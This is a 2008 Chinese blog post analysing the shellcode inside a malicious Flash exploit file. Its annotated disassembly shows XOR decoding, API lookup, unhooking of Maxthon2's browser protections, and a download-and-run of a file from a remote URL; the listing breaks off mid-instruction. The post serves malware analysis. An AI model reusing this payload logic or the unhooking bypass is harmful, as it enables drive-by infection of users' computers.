【vin KE】 flash漏洞所用shellcode的分析

iDotNetSpace發表於2008-06-04
最近幾天flash漏洞的網馬非常流行,於是我想分析一下shellcode是怎麼跑的。

但是能力所限,還難以像大牛們一樣定位到有漏洞的程式碼及觀察整個溢位過程。於是,我只能做後面一部分工作,即看看那個畸形flash檔案中的shellcode長得什麼樣子,它執行起來會有什麼動作。

我使用的是從網站抓下來的win 9,0,115,0ie.swf。很容易地就在畸形.swf檔案中找到了shellcode的位置,在檔案頭偏移0xEB處開始。之後我將這段shellcode拷貝到一個可執行檔案的入口點開頭處,這樣我就可以在OD裡直接除錯shellcode了。

除錯過程中我發現,由於flash這次的漏洞,真的給了一個很充裕的空間讓編寫者盡情地發揮他們的shellcode編寫才能,我看到了一個比以往任何一個利用ActiveX漏洞的shellcode都要複雜的shellcode。

該shellcode的功能很全面,不但有一般shellcode的xor加密,獲取API地址和執行下載病毒並執行的操作,還有更多的操作使得shellcode更加的強悍而實用。
這些操作包括:

1. shellcode有效時間限制,當發現系統時間遲於shellcode中儲存的一個固定時間時,直接ExitThread。這應該是flash網馬生成器釋出者所做的,可能出於商業考慮,避免別人通過簡單修改病毒URL地址而生成自己的利用檔案。

2. 從kernel32.dll的輸入表中取ZwCreateProcessEx(win2000時為NtCreateProcess)、ZwWriteVirtualMemory的地址,對這兩處地址進行inline hook,hook到自身儲存的相應的原始程式碼中,並對CreateProcessInternalW的前面幾個位元組進行了inline hook的還原。
這些操作都是針對MAXTHON等使用以上API HOOK方式對遊覽器進行執行儲存的措施而出臺的anti方式。雖然這種方法早已被提出,是大家皆知的,但是在以前的網馬應用中,由於可用的緩衝區並不是那麼大,不適於加入這些額外的程式碼,因此我一直沒有看到還原hook過瀏覽器保護方法的實際利用。而在這次,我終於看到了一個實際利用的例子。

3. 使用CreateProcessInternalA進行最後下載到本機的病毒檔案的執行。以前一般的shellcode是用WinExec。


下面是shellcode執行流程的分析,分析基本在註釋當中,標號(1)、(2)……是程式碼的執行流程順序,依照標號便可容易理解整個流程。

首先開始是一次xor解密,每兩個位元組進行異或,而且每次異或的運算元隨著改變。

00407000 > /EB 16           jmp     short 00407018                                   ; (1)F8
00407002   |5B              pop     ebx                                              ; (3)
00407003   |33C9            xor     ecxecx
00407005   |66:B8 2245      mov     ax, 4522
00407009   |66:31044B       xor     word ptr [ebx+ecx*2], ax                         ; xor解密
0040700D   |41              inc     ecx
0040700E   |40              inc     eax
0040700F   |66:81F9 6201    cmp     cx, 162
00407014  ^|7C F3           jl      short 00407009                                   ; (4)迴圈,在下面一句F4
00407016   |EB 05           jmp     short 0040701D                                   ; (5)再F8一下,跳入解密後的程式碼
00407018   \E8 E5FFFFFF     call    00407002                                         ; (2)F7

接下來是解密後的實際程式碼

首先是取得kernel32.dll中的API函式地址並填入後面的資料區。這裡使用的是很常用的方法,通過PEB得到kernel32.dll的基址,然後通過遍歷其輸出表,把每一函式名稱字串經過一個加密運算,再將結果與輸入的值比較,進而找到符合的API函式位置。

0040701D    E9 65020000     jmp     00407287                                         ; (6)解密後程式碼開頭,往下跳到最後
00407022    5F              pop     edi                                              ; (8)定位自身地址,此時為後面資料區地址
00407023    6A 30           push    30
00407025    59              pop     ecx
00407026    64:8B01         mov     eaxdword ptr fs:[ecx]                          ; _PEB
00407029    8B98 A8000000   mov     ebxdword ptr [eax+A8]                          ; _PEB.OSMijorVersion
0040702F    8B40 0C         mov     eaxdword ptr [eax+C]
00407032    8B70 1C         mov     esidword ptr [eax+1C]
00407035    AD              lods    dword ptr [esi]
00407036    8B68 08         mov     ebpdword ptr [eax+8]                           ; (9)kernel32.dll基址入ebp
00407039    8BF7            mov     esiedi
0040703B    81EC 00020000   sub     esp, 200
00407041    85DB            test    ebxebx
00407043    75 07           jnz     short 0040704C                                   ; (10)判斷是2000的系統還是XP,我這裡是XP,直接跳走
00407045    C746 24 C9525E5>mov     dword ptr [esi+24], 535E52C9                     ; 如是2000系統,則修改下面的資料,這樣在2000時獲取到的是NtCreateProcess,而在XP則是NtCreateProcessEx
0040704C    6A 09           push    9
0040704E    59              pop     ecx
0040704F    E8 EE010000     call    00407242                                         ; (11)這裡F8就可以了,依照資料區開頭的幾個加密結果,遍歷輸出表找函式,把函式地址覆蓋掉原來的加密結果
00407054  ^ E2 F9           loopd   short 0040704F                                   ; 迴圈,直接在下面F4

這裡填入的API地址依次為(以此時相對esi的偏移,即下面呼叫時使用的[esi+XX]中的XX為序)
0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime

接著搜尋記憶體得到一個“retn”命令位置(實際上不一定是retn命令),用於後面的anti-debug。

00407056    40              inc     eax                                              ; GetSystemTimeAsFileTime
00407057    8038 C3         cmp     byte ptr [eax], 0C3
0040705A  ^ 75 FA           jnz     short 00407056                                   ; (12)迴圈搜尋記憶體特徵,其實是為了借用一個retn程式碼來改變程式流程反除錯
0040705C    8946 30         mov     dword ptr [esi+30], eax                          ; 這裡搜尋到的是7C801881

再接著遍歷kernel32.dll的輸入表,再取兩個NATIVE API函式的地址。

0040705F    6A 02           push    2
00407061    59              pop     ecx
00407062    E8 9E010000     call    00407205                                         ; 再次搜尋輸出表得到函式地址
00407067  ^ E2 F9           loopd   short 00407062

這裡取到的地址是(以此時相對esi的偏移,即下面呼叫時使用的[esi+XX]中的XX為序)

0x24 ZwCreateProcessEx(win2000時為NtCreateProcess)
0x28 ZwWriteVirtualMemory

接著是使用LoadLibraryA載入urlmon.dll並取得URLDownloadToFileA函式的地址。值得一提的是這裡不是直接call而是用在子函式裡用先push返回地址再jmp的方式。

00407069    6A 01           push    1
0040706B    59              pop     ecx
0040706C    68 6F6E0000     push    6E6F
00407071    68 75726C6D     push    6D6C7275
00407076    54              push    esp                                              ; 'urlmon'
00407077    8B06            mov     eaxdword ptr [esi]                             ; LoadLibraryA
00407079    E8 10010000     call    0040718E                                         ; (13)一個純為了anti-debug而搞出來的子函式,直接在下一句下斷,再F9就不會跑飛
0040707E    95              xchg    eaxebp                                         ; urlmon.dll基址入ebp
0040707F    E8 BE010000     call    00407242                                         ; (14)又找函式地址並儲存,直接F8,可以看到找到的函式是URLDownloadToFileA

URLDownloadToFileA函式地址被儲存在[esi+2C]

在進入實質工作之前,就是附加的操作。

首先是時間限制的驗證
00407084    68 3D400000     push    403D                                             
00407089    6A FF           push    -1
0040708B    6A FF           push    -1
0040708D    3E:DB2C24       fld     tbyte ptr ds:[esp]
00407091    50              push    eax                                              ; 只是在堆疊騰出FILETIME結構的記憶體空間
00407092    50              push    eax
00407093    54              push    esp
00407094    FF56 20         call    dword ptr [esi+20]                               ; GetSystemTimeAsFileTime
00407097    8BC4            mov     eaxesp
00407099    68 6EC2C801     push    1C8C26E
0040709E    68 00C0B336     push    36B3C000
004070A3    54              push    esp
004070A4    50              push    eax
004070A5    FF56 1C         call    dword ptr [esi+1C]                               ; CompareFileTime
004070A8    48              dec     eax
004070A9    75 03           jnz     short 004070AE                                   ; (16)系統時間如果晚於設定好的時間,則不跳走
004070AB    FF56 10         call    dword ptr [esi+10]                               ; 這樣就直接ExitThread了,也就是這個shellcode的時間限制

我除錯的時候,已經過了允許時間了,所以本來就會直接ExitThread,這時可以自己強行把EIP改到下一句,不讓它退出,繼續除錯。

接下來的部分我認為比較讓我意外,就是我前面提到的,shellcode中自己儲存了NATIVE API的原樣程式碼,在這裡對NATIVE API進行了inline hook,hook到shellcode自帶的原樣程式碼中,以及把CreateProcessInternalW前面的幾個位元組進行了還原,從而破壞了一些軟體的瀏覽器執行保護功能,為自己執行被下載的病毒程式掃清了障礙,這是它優於此前我所見到的漏洞利用shellcode的重要關鍵。

首先是將自身儲存的NATIVE API原樣程式碼拷貝到PEB後面的空間中。
之所以要拷貝到這裡,我想是為了執行的穩定,如果inline hook直接指向shellcode內部,那麼shellcode執行完被清理掉之後,程式再呼叫相應NATIVE API的時候,就會崩潰掉。這裡把程式碼拷進PEB後面的空間,可以保證在shellcode退出後這部分地址仍然能夠正常訪問,程式也還能正常執行(至少看起來是那樣)。

004070AE    6A 30           push    30
004070B0    59              pop     ecx
004070B1    64:8B19         mov     ebxdword ptr fs:[ecx]
004070B4    8DAB 00040000   lea     ebpdword ptr [ebx+400]                         ; (17)在PEB結構後面找到一塊空著的記憶體
004070BA    8B9B A8000000   mov     ebxdword ptr [ebx+A8]                          ; 再次確定是2000、XP還是2003系統,以在下面選擇不同的跳轉目標
004070C0    8BFD            mov     ediebp
004070C2    56              push    esi
004070C3    E9 E0000000     jmp     004071A8                                         ; (18)跳到下面
004070C8    5E              pop     esi                                              ; (20)跳回這裡
004070C9    F3:A5           rep     movs dword ptr es:[edi], dword ptr [esi]         ; 把下面那些摸擬NATIVE API的程式碼拷進這塊記憶體,用於後面inline hook
004070CB    5E              pop     esi

接著,將“找到的”ZwCreateProcessEx(win2000時為NtCreateProcess)和ZwWriteVirtualMemory的最前面部分,修改為“push XXX,retn”的樣式,以跳到之前拷貝的程式碼中。注意這裡考慮了win2000/XP/2003三種情況。

004070CC    8B7E 24         mov     edidword ptr [esi+24]                          ; ZwCreateProcessEx
004070CF    E8 25010000     call    004071F9                                         ; VirtualProtect改函式頭0x20為可讀可寫
004070D4    6A 1A           push    1A                                               ; 2003時NtCreateProcessEx對應的原始程式碼偏移
004070D6    6A 0D           push    0D                                               ; XP時NtCreateProcessEx對應的原始程式碼偏移
004070D8    6A 00           push    0                                                ; 2000時NtCreateProcess對應的原始程式碼偏移
004070DA    8BC5            mov     eaxebp
004070DC    03049C          add     eaxdword ptr [esp+ebx*4]                       ; 根據版本選擇不同的程式碼(以剛剛壓棧的偏移量確定)
004070DF    C607 68         mov     byte ptr [edi], 68                               ; 程式碼"push……"
004070E2    47              inc     edi
004070E3    AB              stos    dword ptr es:[edi]                               ; 記憶體中拷貝的程式碼
004070E4    C607 C3         mov     byte ptr [edi], 0C3                              ; ret……
004070E7    8B7E 28         mov     edidword ptr [esi+28]                          ; ZwWriteVirtualMemory
004070EA    E8 0A010000     call    004071F9
004070EF    6A 3D           push    3D                                               ; 2003中ZwWriteVirtualMemory的原始程式碼偏移,同ZwCreateProcess(Ex)的情況
004070F1    6A 36           push    36
004070F3    6A 27           push    27
004070F5    8BC5            mov     eaxebp
004070F7    03049C          add     eaxdword ptr [esp+ebx*4]
004070FA    C607 68         mov     byte ptr [edi], 68
004070FD    47              inc     edi
004070FE    AB              stos    dword ptr es:[edi]
004070FF    C607 C3         mov     byte ptr [edi], 0C3

為什麼我上面特別強調“找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址處”?
我們千萬不要忘記,這個做法是針對某些軟體的,衝著哪個軟體?
我想到了MAXTHON2。

搜尋一下關於MAXTHON2的瀏覽器執行保護的文章,很早的文章顯示,MAXTHON2正是對ZwCreateProcessEx和ZwWriteVirtualMemory進行了IAT HOOK。
而現在呢,shellcode從kernel32.dll的輸入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,這意味著什麼?
我大膽假設,當MAXTHON2遊覽漏洞利用網頁的時候,shellcode的執行環境就在其程式中,那麼,這時shellcode從kernel32.dll的輸入表中取到的地址,正是被MAXTHON2給hook掉的結果,直接到了MAXTHON2的dll裡面去了。
這是shellcode作者有意而為之,因為接著它對這兩個地址的程式碼進行了inline hook,又實際上轉回了原始的程式碼。
這樣MAXTHON2就在完全沒有察覺自己的IAT HOOK失效(本來就沒有失效)的情況下,其執行保護被繞過了。
接下來的動作進一步證實了這一點,對CreateProcessInternalW開頭的程式碼進行還原,這豈不是又正針對MAXTHON2對CreateProcessInternalW的inlline hook?!


00407102    8B7E 18         mov     edidword ptr [esi+18]                          ; CreateProcessInternalW
00407105    E8 EF000000     call    004071F9
0040710A    68 68080A00     push    0A0868                                           
0040710F    68 68080A00     push    0A0868
00407114    68 558BEC6A     push    6AEC8B55
00407119    8B049C          mov     eaxdword ptr [esp+ebx*4]
0040711C    AB              stos    dword ptr es:[edi]                               ; 還原前面的幾個位元組,還原inline hook
0040711D    33C0            xor     eaxeax
0040711F    50              push    eax
00407120    50              push    eax
00407121    6A FF           push    -1
00407123    8B049C          mov     eaxdword ptr [esp+ebx*4]
00407126    AA              stos    byte ptr es:[edi]

做完了這些操作,shellcode最後終於進入自己的實質性工作了。

首先,得到Temp資料夾地址,並在後面加入“orz.exe”,作為病毒檔案的本地地址

00407127    8DBE 33010000   lea     edidword ptr [esi+133]
0040712D    57              push    edi
0040712E    68 FF000000     push    0FF
00407133    FF56 04         call    dword ptr [esi+4]                                ; GetTempPathA
00407136    03C7            add     eaxedi
00407138    C700 6F727A2E   mov     dword ptr [eax], 2E7A726F                        ; 往得到的temp資料夾路徑後面加入檔名
0040713E    C740 04 6578650>mov     dword ptr [eax+4], 657865                        ; 加入的檔名為"orz.exe"

為保險,先嚐試把這個路徑的檔案刪除。

00407145    57              push    edi
00407146    FF56 08         call    dword ptr [esi+8]                                ; DeleteFileA

然後直接呼叫URLDownloadToFileA,從遠端地址http://www.0x4f.cn/test.exe下載病毒檔案到orz.exe

00407149    33DB            xor     ebxebx
0040714B    53              push    ebx
0040714C    53              push    ebx
0040714D    57              push    edi
0040714E    8D46 34         lea     eaxdword ptr [esi+34]                          ; URL地址,"http://www.0x4f.cn/test.exe"
00407151    50              push    eax
00407152    53              push    ebx
00407153    FF56 2C         call    dword ptr [esi+2C]                               ; URLDownloadToFileA

最後,shellcode執行所下載的檔案,注意它使用了CreateProcessInternalA來進行。由於前面已經清除了對CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保護,病毒作者堅信此時使用CreateProcessInternalA有非常大的可能可以成功。

00407156    33C0            xor     eaxeax
00407158    8BFC            mov     ediesp
0040715A    6A 12           push    12
0040715C    59              pop     ecx
0040715D    AB              stos    dword ptr es:[edi]
0040715E  ^ E2 FD           loopd   short 0040715D                                   ; 迴圈,在堆疊中清出一塊全0的空間
00407160    66:C74424 3C 01>mov     word ptr [esp+3C], 101
00407167    8BFC            mov     ediesp
00407169    8D47 10         lea     eaxdword ptr [edi+10]
0040716C    51              push    ecx
0040716D    57              push    edi
0040716E    50              push    eax
0040716F    51              push    ecx
00407170    51              push    ecx
00407171    51              push    ecx
00407172    51              push    ecx
00407173    51              push    ecx
00407174    51              push    ecx
00407175    51              push    ecx
00407176    8D96 33010000   lea     edxdword ptr [esi+133]                         ; 本地地址orz.exe
0040717C    52              push    edx
0040717D    51              push    ecx
0040717E    FF56 0C         call    dword ptr [esi+C]                                ; CreateProcessInternalA
00407181    81C4 54020000   add     esp, 254
00407187    61              popad
00407188    FF71 EC         push    dword ptr [ecx-14]                               ; 這裡應該會跳回原來溢位的位置,讓程式正常執行下去
0040718B    C2 0400         retn    4

下面是前面的程式碼呼叫到的子函式及資料。

首先是摸擬call的函式

0040718E    8B56 30         mov     edxdword ptr [esi+30]                          ; (14)
00407191    41              inc     ecx
00407192    5B              pop     ebx
00407193    52              push    edx                                              
00407194    03E1            add     especx
00407196    03E1            add     especx
00407198    03E1            add     especx
0040719A    03E1            add     especx
0040719C    83EC 04         sub     esp, 4
0040719F    5A              pop     edx
004071A0    53              push    ebx
004071A1    8BDA            mov     ebxedx
004071A3  ^ E2 F7           loopd   short 0040719C
004071A5    52              push    edx                                              ; 返回地址入棧,這裡剛好是一個retn命令
004071A6    FFE0            jmp     eax                                              ; jmp進API函式開頭

接著是中間一個為了重定位所做的回call

004071A8    E8 1BFFFFFF     call    004070C8                                         ; (19)再一次為了重定位而跳回,這裡必須F7

再接著是被拷貝的NATIVE API原始程式碼:

004071AD    6A 29           push    29                                               ; win2000中NtCreateProcess
004071AF    58              pop     eax
004071B0    36:8D5424 04    lea     edxdword ptr [esp+4]
004071B5    CD 2E           int     2E
004071B7    C2 2000         retn    20

004071BA    6A 30           push    30                                               ; XP中ZwCreateProcessEx
004071BC    58              pop     eax
004071BD    BA 0003FE7F     mov     edx, 7FFE0300
004071C2    FF12            call    dword ptr [edx]
004071C4    C2 2000         retn    20

004071C7    6A 32           push    32                                               ; win2003中ZwCreateProcessEx
004071C9    58              pop     eax
004071CA    BA 0003FE7F     mov     edx, 7FFE0300
004071CF    FF12            call   &amp

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/12639172/viewspace-331213/,如需轉載,請註明出處,否則將追究法律責任。

相關文章